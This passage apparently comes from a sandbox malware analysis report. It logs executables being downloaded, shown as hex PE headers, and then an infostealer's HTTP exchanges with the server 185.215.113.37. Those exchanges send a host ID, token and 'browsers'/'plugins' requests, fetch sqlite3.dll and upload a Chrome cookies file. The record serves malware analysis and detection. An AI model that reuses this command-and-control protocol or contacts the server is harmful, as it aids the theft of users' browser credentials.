00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 24 Oct 2024 23:27:22 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 24 Oct 2024 23:27:23 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 24 Oct 2024 23:27:24 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 24 Oct 2024 23:27:24 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DBAEHCGHIIIDHIECFHJDHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 42 41 45 48 43 47 48 49 49 49 44 48 49 45 43 46 48 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 43 31 37 41 44 36 45 30 38 36 39 33 31 39 36 39 33 34 38 38 31 0d 0a 2d 2d 2d 2d 2d 2d 44 42 41 45 48 43 47 48 49 49 49 44 48 49 45 43 46 48 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 44 42 41 45 48 43 47 48 49 49 49 44 48 49 45 43 46 48 4a 44 2d 2d 0d 0a Data Ascii: ------DBAEHCGHIIIDHIECFHJDContent-Disposition: form-data; name="hwid"CC17AD6E08693196934881------DBAEHCGHIIIDHIECFHJDContent-Disposition: form-data; name="build"doma------DBAEHCGHIIIDHIECFHJD--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JDGIECGIEBKJJJJKEGHJHost: 185.215.113.37Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 44 47 49 45 43 47 49 45 42 4b 4a 4a 4a 4a 4b 45 47 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 35 33 62 36 61 61 63 66 62 37 37 36 35 33 32 31 39 30 32 32 63 65 61 65 37 66 64 61 34 37 66 32 38 63 36 30 35 64 61 32 38 65 30 35 63 65 62 34 32 66 61 38 64 32 37 31 62 33 38 30 62 63 37 64 37 64 66 34 62 34 64 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 49 45 43 47 49 45 42 4b 4a 4a 4a 4a 4b 45 47 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 49 45 43 47 49 45 42 4b 4a 4a 4a 4a 4b 45 47 48 4a 2d 2d 0d 0a Data Ascii: ------JDGIECGIEBKJJJJKEGHJContent-Disposition: form-data; name="token"153b6aacfb77653219022ceae7fda47f28c605da28e05ceb42fa8d271b380bc7d7df4b4d------JDGIECGIEBKJJJJKEGHJContent-Disposition: form-data; name="message"browsers------JDGIECGIEBKJJJJKEGHJ--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HJKKFIJKFCAKJJJKJKFIHost: 185.215.113.37Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 4a 4b 4b 46 49 4a 4b 46 43 41 4b 4a 4a 4a 4b 4a 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 35 33 62 36 61 61 63 66 62 37 37 36 35 33 32 31 39 30 32 32 63 65 61 65 37 66 64 61 34 37 66 32 38 63 36 30 35 64 61 32 38 65 30 35 63 65 62 34 32 66 61 38 64 32 37 31 62 33 38 30 62 63 37 64 37 64 66 34 62 34 64 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4b 4b 46 49 4a 4b 46 43 41 4b 4a 4a 4a 4b 4a 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4b 4b 46 49 4a 4b 46 43 41 4b 4a 4a 4a 4b 4a 4b 46 49 2d 2d 0d 0a Data Ascii: ------HJKKFIJKFCAKJJJKJKFIContent-Disposition: form-data; name="token"153b6aacfb77653219022ceae7fda47f28c605da28e05ceb42fa8d271b380bc7d7df4b4d------HJKKFIJKFCAKJJJKJKFIContent-Disposition: form-data; name="message"plugins------HJKKFIJKFCAKJJJKJKFI--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DHCGHDHIDHCBGCBGCAEBHost: 185.215.113.37Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 48 43 47 48 44 48 49 44 48 43 42 47 43 42 47 43 41 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 35 33 62 36 61 61 63 66 62 37 37 36 35 33 32 31 39 30 32 32 63 65 61 65 37 66 64 61 34 37 66 32 38 63 36 30 35 64 61 32 38 65 30 35 63 65 62 34 32 66 61 38 64 32 37 31 62 33 38 30 62 63 37 64 37 64 66 34 62 34 64 0d 0a 2d 2d 2d 2d 2d 2d 44 48 43 47 48 44 48 49 44 48 43 42 47 43 42 47 43 41 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 44 48 43 47 48 44 48 49 44 48 43 42 47 43 42 47 43 41 45 42 2d 2d 0d 0a Data Ascii: ------DHCGHDHIDHCBGCBGCAEBContent-Disposition: form-data; name="token"153b6aacfb77653219022ceae7fda47f28c605da28e05ceb42fa8d271b380bc7d7df4b4d------DHCGHDHIDHCBGCBGCAEBContent-Disposition: form-data; name="message"fplugins------DHCGHDHIDHCBGCBGCAEB--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EHIJDHCAKKFCBGCBAAECHost: 185.215.113.37Content-Length: 7415Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/sqlite3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CAAAAFBKFIECAAKECGCAHost: 185.215.113.37Content-Length: 751Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 41 41 41 41 46 42 4b 46 49 45 43 41 41 4b 45 43 47 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 35 33 62 36 61 61 63 66 62 37 37 36 35 33 32 31 39 30 32 32 63 65 61 65 37 66 64 61 34 37 66 32 38 63 36 30 35 64 61 32 38 65 30 35 63 65 62 34 32 66 61 38 64 32 37 31 62 33 38 30 62 63 37 64 37 64 66 34 62 34 64 0d 0a 2d 2d 2d 2d 2d 2d 43 41 41 41 41 46 42 4b 46 49 45 43 41 41 4b 45 43 47 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 43 41 41 41 41 46 42 4b 46 49 45 43 41 41 4b 45 43 47 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 4c 6d 64 76 62 32 64 73 5a 53 35 6a 62 32 30 4a 52 6b 46 4d 55 30 55 4a 4c 77 6c 47 51 55 78 54 52 51 6b 78 4e 7a 45 79 4d 6a 6b 77 4f 44 41 79 43 55 35 4a 52 41 6b 31 4d 54 45 39 56 55 4a 6c 54 6b 4e 72 57 6a 4e 4d 4f 48 6c 59 59 33 67 34 63 57 67 30 53 6b 5a 56 57 47 74 33 61 30 35 44 4f 55 6c 79 5a 47 6c 53 5a 47 4a 71 55 31 52 71 63 56 4e 70 52 6d 67 34 56 33 4a 53 59 32 4a 4c 63 6c 39 79 54 30 70 69 5a 30 68 5a 4e 6c 52 42 4e 46 4a 55 4c 54 5a 77 63 7a 42 69 61 47 56 74 5a 6e 64 44 55 45 4a 7a 54 45 31 6e 55 46 51 33 4c 57 64 55 59 31 64 78 53 48 5a 61 64 6c 70 69 59 57 5a 50 63 47 74 78 55 6e 6b 77 5a 45 78 35 57 55 63 35 51 57 70 51 4d 6e 5a 69 56 55 4a 76 62 57 46 79 62 6d 4d 35 63 47 4e 61 56 6d 78 6f 53 47 74 56 5a 56 56 68 56 30 31 31 63 6b 51 77 52 30 64 59 65 56 63 77 4e 56 39 43 58 7a 46 4a 65 56 56 4f 57 55 56 46 54 47 31 35 63 56 4a 6e 43 69 35 6e 62 32 39 6e 62 47 55 75 59 32 39 74 43 56 52 53 56 55 55 4a 4c 77 6c 47 51 55 78 54 52 51 6b 78 4e 6a 6b 35 4d 44 63 78 4e 6a 51 77 43 54 46 51 58 30 70 42 55 67 6b 79 4d 44 49 7a 4c 54 45 77 4c 54 41 31 4c 54 41 32 43 67 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 43 41 41 41 41 46 42 4b 46 49 45 43 41 41 4b 45 43 47 43 41 2d 2d 0d 0a Data Ascii: ------CAAAAFBKFIECAAKECGCAContent-Disposition: form-data; 